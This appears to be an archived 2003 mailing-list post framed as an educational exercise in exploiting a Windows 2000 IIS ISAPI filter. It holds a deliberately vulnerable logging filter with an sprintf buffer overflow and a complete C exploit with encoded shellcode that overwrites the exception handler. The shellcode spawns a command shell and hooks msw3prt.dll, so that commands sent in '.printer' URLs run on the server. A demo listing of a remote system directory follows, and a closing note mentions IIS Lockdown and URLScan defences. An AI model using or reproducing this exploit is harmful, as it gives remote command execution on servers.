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An exercise to exploit IIS ISAPI filter
Date: Tue Jan 14 2003 - 23:39:14 EST
('binary' encoding is not supported, stored as-is)
An exercise to exploit Internet Information Server on W2000
--This paper intended for educational purpose only.
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Long time back when Codered and Nimda spread across the internet, my computers were hardhit by them. After lots of effort of cleaning the virus, I began curious how they manage to reproduce around the Internet and pass into corperate firewall. Thus I disassembled codered (following the description from eeye) and another well known for-fun virus named jill, ......
And finally as an exercise, I developed a vulnerable ISAPI filter (see below) and sucessfully exploited it. The filter is used by IIS on Window 2000 server. Here is the steps I like to share with other system administrators like me who want to know how the virus works:
1.
First comes the vulerable code:
<========================Logger.cpp===========================>#include <EXCPT.H>
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <httpfilt.h>
#include <WTYPES.H>
BOOL APIENTRY DllMain( HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
return TRUE;
}
BOOL WINAPI __stdcall
GetFilterVersion(HTTP_FILTER_VERSION * pVer)
{
//set the flags and request the notications that we need for this to work
pVer->dwFlags = (SF_NOTIFY_SECURE_PORT |
SF_NOTIFY_NONSECURE_PORT |
SF_NOTIFY_ORDER_LOW |
//SF_NOTIFY_SEND_RESPONSE |
//SF_NOTIFY_END_OF_NET_SESSION | SF_NOTIFY_LOG );
pVer->dwFilterVersion = HTTP_FILTER_REVISION;
strcpy( pVer->lpszFilterDesc, "Server Type Changer");
return TRUE;
}
DWORD WINAPI __stdcall
HttpFilterProc(HTTP_FILTER_CONTEXT * pfc, DWORD notificationType,
VOID * pvNotification)
{
PHTTP_FILTER_LOG pLogData;
OutputDebugString("Entered HttpFilterProc\n");
switch (notificationType)
{
case SF_NOTIFY_LOG:
{
OutputDebugString("HttpFilterProc:Logging\n");
TCHAR sz[256];
pLogData = (PHTTP_FILTER_LOG)pvNotification;
sprintf(sz, "Client Machine: %s , Username: %s,
Server\
Machine: %s, Target Path: %s\n", \
pLogData->pszClientHostName,pLogData-
>pszClientUserName,\
pLogData->pszServerName, pLogData-
>pszTarget );
}
break;
default:
OutputDebugString
("HttpFilterProc:Default\n");
break;
}
return SF_STATUS_REQ_NEXT_NOTIFICATION;
}
<=============================================================>
The function of this filter is merely to log the HTTP request from client. As you can see, the function sprintf has a buffer overflow bug and this is the weak point to insert our exploitation code.
2.
compile Logger.cpp into Logger.dll and configure your IIS to import this
dll----You can do this by rightclicking the victim web server from IIS
Service Manager,choose properties, then ISAPI Filter and from here you can
define the Logger.dll as ISAPI filter.
3.
Now comes the exploit description:
When a malicious client send the exploit code to the vulerable IIS, exploit code will reach the IIS memory space because ISAPI filter was loaded into the same memory space as its host--IIS.
As the exploit code overflow the buffer, the return address of normal function call got messed up inside IIS filter. And not only that, We will let the exploit code continue overflowing the memory as far as the excepion handler----the handler is replaced by an address(0x77ed5c99) inside kernel.dll, This address contain instruction "call ebx" in my W2000 configuration.
An Access violation exception happen when IIS filter handling the malicious HTTP request and as a result, system will resort the exception handler to clean the mess. But remember that the exception handler itself got overwritten also, it is now point to "call ebx", so the IIS instruction flow into whatever location the register ebx point to.
You may figure out that register ebx contain an address not far away from our exploit code when exception is raised. Thus when system invoke exception handler to clean the mess, the instruction flow divert into our exploit code.
The exploit code will then do the following, in a roughly order:
-- spawn a cmd shell with read/write pipe handler -- modify another dll----msw3prt.dll inside IIS memory in such waythat any invocation to this dll got divert into our exploit code. Also note that the invocation URL to msw3prt will has exploit command embedded inside, for example:
http://victim/null.printer?net[user.
Using "[" instead of " " is to avoid " " being interpreted as %20.
-- Exploit code accept the URL and read the exploit command. After
replace "[" with " ", it then send this to the cmd shell through the shell
pipe.
-- Read the execution result from cmd shell and pass back to HTTP
client through writeClient function available from Extension Control
block. The Extension Control Block is a block of infomation for ISAPI.
5.
Here is the exploit code from linux
========================moda.c============================================
#define SIZE 4106
#define ADJUST 1250
#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <errno.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <netdb.h>
int main(int argc, char *argv[]){
unsigned char httpheader1[20]= // GET /HERO.htm"
"\x47\x45\x54\x20" "\x2f\x48\x45\x52" "\x4f\x2e\x68\x74" "\x6d\x00";
unsigned char httpheader2[256]=
"\xeb\x06\x90\x90" "\x99\x5c\xed\x77" "\x81\xc3\xde\xfc" "\xff\xff\xff\xd3" "\x20\x20\x48\x54" "\x54\x50\x2f\x31" "\x2e\x30\x0D\x0A" "\x43\x6F\x6E\x74" "\x65\x6E\x74\x2D" "\x74\x79\x70\x65" "\x3a\x20\x74\x65" "\x78\x74\x2f\x78" "\x6d\x6c\x20\x41" "\x63\x63\x65\x70" "\x74\x3a\x20\x2a" "\x2f\x2a\x0a\x43" "\x6f\x6e\x74\x65" "\x6e\x74\x2d\x6c" "\x65\x6e\x67\x74" "\x68\x3a\x20\x32" "\x37\x30\x34\x20" "\x0d\x0a\x0d\x0a" "\x00";
char payload[]=
"\x83\xEB\xF1\x33\xC9\x66\xB9\x13\x03\x80\x33\x96\x43\xE2\xFA"
/* Payload encoded with x96*/
"\x7f" "\x13\x97\x96\x96\xcc\x2e\x96\x96\x67\xe1\x17\xae\xdb\xcc\x06\x96" "\xe2\x95\xde\x7d\x63\x1d\x4e\x1d\xe5\xaa\x95\x65\x1d\xe0\xee\x95" "\x65\x1d\xe8\xb6\x95\x6d\x1d\xd8\x82\xa5\x7b\xc0\xc1\xc7\x1d\xa9" "\x95\x6d\x1d\x64\x2f\x98\x96\x96\x96\x65\x30\xe2\x9e\xcf\xc9\x15" "\x51\x92\xd3\x74\x71\xcf\xc9\xc8\x1d\x5b\x1d\xd0\xb2\x95\x55\x47" "\x77\x95\x57\xa5\x5f\xf0\x1d\x9e\x1d\xd0\x8a\x95\x55\x57\x77\x94" "\x95\x57\x1d\x96\x95\x55\x1d\x64\x1d\x68\x1d\x46\x2f\x9a\x96\x96" "\x96\x7e\x96\x97\x96\x96\xa5\x56\x3a\x13\x56\xe3\x6f\xc4\xc0\x69" "\xc1\x46\xcc\x1d\x4e\x2f\x97\x96\x96\x96\x7e\x71\x96\x96\x96\xfe" "\x96\x93\x96\x96\xfc\xd6\x69\xc1\x76\x1f\xd1\x9e\x51\xd1\x8a\x9a" "\x96\x96\x96\x51\xd1\xb6\x96\x96\x96\x96\x51\xd1\xb2\x97\x96\x96" "\x96\xfc\x96\x1b\xd1\x8a\xc6\x1b\xd1\x9a\xc6\x1b\xd1\x86\xc6\x69" "\xc1\x46\xfc\x96\x1b\xd1\x8a\xc6\x1b\xd1\x82\xc6\x1b\xd1\x8e\xc6" "\x69\xc1\x46\x1b\xd1\xbe\xc6\x69\xc1\x42\x1d\xd1\x9a\x1f\xd1\xf2" "\x1f\xd1\xfe\x1d\xd1\x8e\x1f\xd1\xf6\x17\xd9\xc2\x97\x97\x96\x96" "\xf0\x51\xd1\xce\x96\x96\x1b\xd1\xfa\xc6\x1b\xd1\xbe\xc6\xa5\x56" "\xc6\xc6\xc6\xfc\x97\xc6\xc6\x1d\x79\x17\x53\x3e\x96\x96\x96\xc3" "\xc6\x69\xc1\x4e\x69\xe1\x9a\x69\xc1\x6e\x69\xe1\x8e\x69\xc1\x6e" "\x1b\xd1\x92\xc6\xfc\x92\xfe\x96\x97\x96\x96\x1d\xc1\x6a\xc4\x69" "\xc1\x7a\xc0\xc5\x1d\x49\x1b\x21\x26\x96\x96\x96\x15\x50\x9f\x1b" "\x11\x56\x96\x96\x96\x1f\x90\x15\x50\x61\x1d\xed\x6a\x2f\x99\x96" "\x96\x96\x65\x32\x1d\x6d\xcd\xc8\x1b\xd1\x92\xc6\x1d\xd1\x92\xc6" "\xfe\x96\x97\x96\x96\x1d\xc1\x6a\xc4\x69\xc1\x7a\xfe\x96\x4b\xfb" "\x96\x69\xc1\x66\x7d\x60\xa5\x56\x3a\x13\x56\xe3\x6f\xc7\xc4\xc0" "\xc5\x69\x44\xcc\xcf\x3d\x74\x78\x55\x7e\xe0\x68\x69\x69\xd1\xf3" "\xe2\xc6\xe4\xf9\xf5\xd7\xf2\xf2\xe4\xf3\xe5\xe5\x96\xda\xf9\xf7" "\xf2\xda\xff\xf4\xe4\xf7\xe4\xef\xd7\x96\xd5\xe4\xf3\xf7\xe2\xf3" "\xc6\xff\xe6\xf3\x96\xd1\xf3\xe2\xc5\xe2\xf7\xe4\xe2\xe3\xe6\xdf" "\xf8\xf0\xf9\xd7\x96\xd5\xe4\xf3\xf7\xe2\xf3\xc6\xe4\xf9\xf5\xf3" "\xe5\xe5\xd7\x96\xc6\xf3\xf3\xfd\xd8\xf7\xfb\xf3\xf2\xc6\xff\xe6" "\xf3\x96\xd1\xfa\xf9\xf4\xf7\xfa\xd7\xfa\xfa\xf9\xf5\x96\xc1\xe4" "\xff\xe2\xf3\xd0\xff\xfa\xf3\x96\xc4\xf3\xf7\xf2\xd0\xff\xfa\xf3" "\x96\xc0\xff\xe4\xe2\xe3\xf7\xfa\xc6\xe4\xf9\xe2\xf3\xf5\xe2\x96" "\xc5\xfa\xf3\xf3\xe6\x96\xd3\xee\xff\xe2\xc6\xe4\xf9\xf5\xf3\xe5" "\xe5\x96\xd5\xfa\xf9\xe5\xf3\xde\xf7\xf8\xf2\xfa\xf3\x96\xdb\xc5" "\xc1\xa5\xc6\xc4\xc2\x96\xde\xe2\xe2\xe6\xd3\xee\xe2\xf3\xf8\xe5" "\xff\xf9\xf8\xc6\xe4\xf9\xf5\x96\x06\x06\x06\x06\x06\x06\x06\x06" "\x06\x06\x06\x06\x06\x06\x06\x06\x06\x06\x06\x06\x06\x06\x06\x06" "\x06\x06\x06\x06\x06\x06\x06\x06\x96\x96\xf5\xfb\xf2\xb8\xf3\xee" "\xf3\x96\x06\x06\x06\x06\x06\x06\x06\x06\x2e\x96\x96\x67\xe1\x69" "\x46\x96\x06\x06\x06\x15\x52\x92\xf6\x7e\x96\x96\x96\x96\xc9\x17" "\x79\x5a\x96\x96\x96\x1d\xcb\x86\xfc\x96\xc1\xa5\x56\xa5\x44\x1d" "\xe5\xf2\x3a\xd4\x15\x6e\xcd\xe3\x92\x50\xd0\x69\xb6\x13\x56\xe3" "\x67\x50\xd0\x69\x9b\x50\x90\x9c\x50\xd0\x97\x96\xd4\xc4\x69\xe5" "\xf2\x69\xe1\x82\x69\xc1\x72\xfc\xf2\x69\xc1\x66\xa5\x5f\xc7\xc1" "\xc7\xc7\xc7\x69\xe1\x86\x69\xc1\x4a\x13\x56\xe2\xa6\x16\xa9\x96" "\xe2\xb1\xfc\x96\xc1\xfe\x96\x93\x96\x96\x69\xe1\x9e\x69\xe1\x86" "\x69\xc1\x7e\x13\x56\xe2\x80\xfc\x96\xc1\x69\xe1\x9e\x1d\xdd\x9e" "\xc7\x69\x05\x12\x96\x96\x96\x7d\x28\xf7\x54\x92\x96\xfc\x97\x69" "\xc1\x62";
unsigned char *ptr;
unsigned char sploit[SIZE];
int s;
unsigned short int a_port;
unsigned long a_host;
struct hostent *ht;
struct sockaddr_in sin;
if (argc != 3){
printf("usage: %s
}
if ((ht = gethostbyname(argv[1])) == 0){
herror(argv[1]); exit(1);
}
sin.sin_port = htons(atoi(argv[2])); sin.sin_family = AF_INET; sin.sin_addr = *((struct in_addr *)ht->h_addr);
ptr=sploit;
memcpy(ptr, httpheader1, strlen(httpheader1) );
ptr+=strlen(httpheader1);
memset(ptr,'\x90', SIZE - strlen(httpheader1) - strlen(httpheader2) -strlen
(payload)
-ADJUST);
ptr+=SIZE - strlen(httpheader1) -strlen(httpheader2) - strlen(payload) -
ADJUST;
memcpy(ptr, payload, strlen(payload) );
ptr+= strlen(payload);
memcpy(ptr, httpheader2, strlen(httpheader2));
if ((s = socket(AF_INET, SOCK_STREAM, 0)) == -1){
perror("socket");
exit(1);
}
printf("\nconnecting... \n");
if ((connect(s, (struct sockaddr *) &sin, sizeof(sin))) == -1){
perror("connect");
exit(1);
}
write(s, sploit, SIZE-ADJUST);
sleep (5);
close (s);
printf("sent... \n");
exit(0);
}
6.
Now here is the demo of how the exploit code work through a web browser
such as MS internet explorer:
>From explorer address send the URL
http://victim/null.printer?dir
after a while, the browser got response:
D:\WINNT\system32>dir
Volume in drive D has no label.
Volume Serial Number is 7086-EBAD
Directory of D:\WINNT\system32
07/11/2002 10:46p. 07/11/2002 10:46p .. 10/29/2001 03:29p 647 $winnt$.inf 10/29/2001 03:35p 4,108 $WINNT$.PNF 06/26/2000 09:15a 2,151 12520437.cpx 06/26/2000 09:15a 2,233 12520850.cpx 12/07/1999 05:00a 32,016 aaaamon.dll 12/07/1999 05:00a 67,344 access.cpl 12/07/1999 05:00a 13,753 accserv.mib 12/07/1999 05:00a 59,904 acctres.dll 12/07/1999 05:00a 150,800 accwiz.exe 12/07/1999 05:00a 61,952 acelpdec.ax 12/07/1999 05:00a 131,856 acledit.dll 12/07/1999 05:00a 78,096 aclui.dll 12/07/1999 05:00a 33,298 acs.mib 12/07/1999 05:00a 4,368 acsetupc.dll 12/07/1999 05:00a 17,168 acsetups.exe 12/07/1999 05:00a 11,536 acsmib.dll ......... 12/07/1999 05:00a 73,776 wshom.ocx 12/07/1999 05:00a 17,680 wshtcpip.dll 12/07/1999 05:00a 39,696 wsnmp32.dll 12/07/1999 05:00a 21,776 wsock32.dll 12/07/1999 05:00a 14,608 wtsapi32.dll 12/07/1999 05:00a 25,872 wupdinfo.dll 12/07/1999 05:00a 47,376 wupdmgr.exe 12/07/1999 05:00a 92,432 xactsrv.dll 12/07/1999 05:00a 28,432 xcopy.exe 12/07/1999 05:00a 110,664 xenroll.dll 12/07/1999 05:00a 641,808 xiffr3_0.dll 12/07/1999 05:00a 17,680 xolehlp.dll 2017 File(s) 291,632,897 bytes 33 Dir(s) 531,480,576 bytes free
D:\WINNT\system32>
P.S.
The New IIS6.0, part of Microsoft .NET server has hugh improvement against
virus/worm, at least that's the feeling I got when reading MSDN papers:
1. The IIS LockDown has removed lots of unused dynamic script type,
including .printer which the above exploit code has abuse. It also disable
unnecessary service.
2. The IIS URLScan is a ISAPI filter that try to catch malicious URL: A extreme long URL like the one in our exploit may have malicious code embeded inside, so web master can preset the maximum size of URL allowed. A URL with non-ascii byte inside is also dangerous, URLScan isalso able to catch that. Received on Fri Jan 17 15:43:03 2003
This archive was generated by hypermail 2.1.8 : Wed Aug 23 2006 - 14:07:37 EDT
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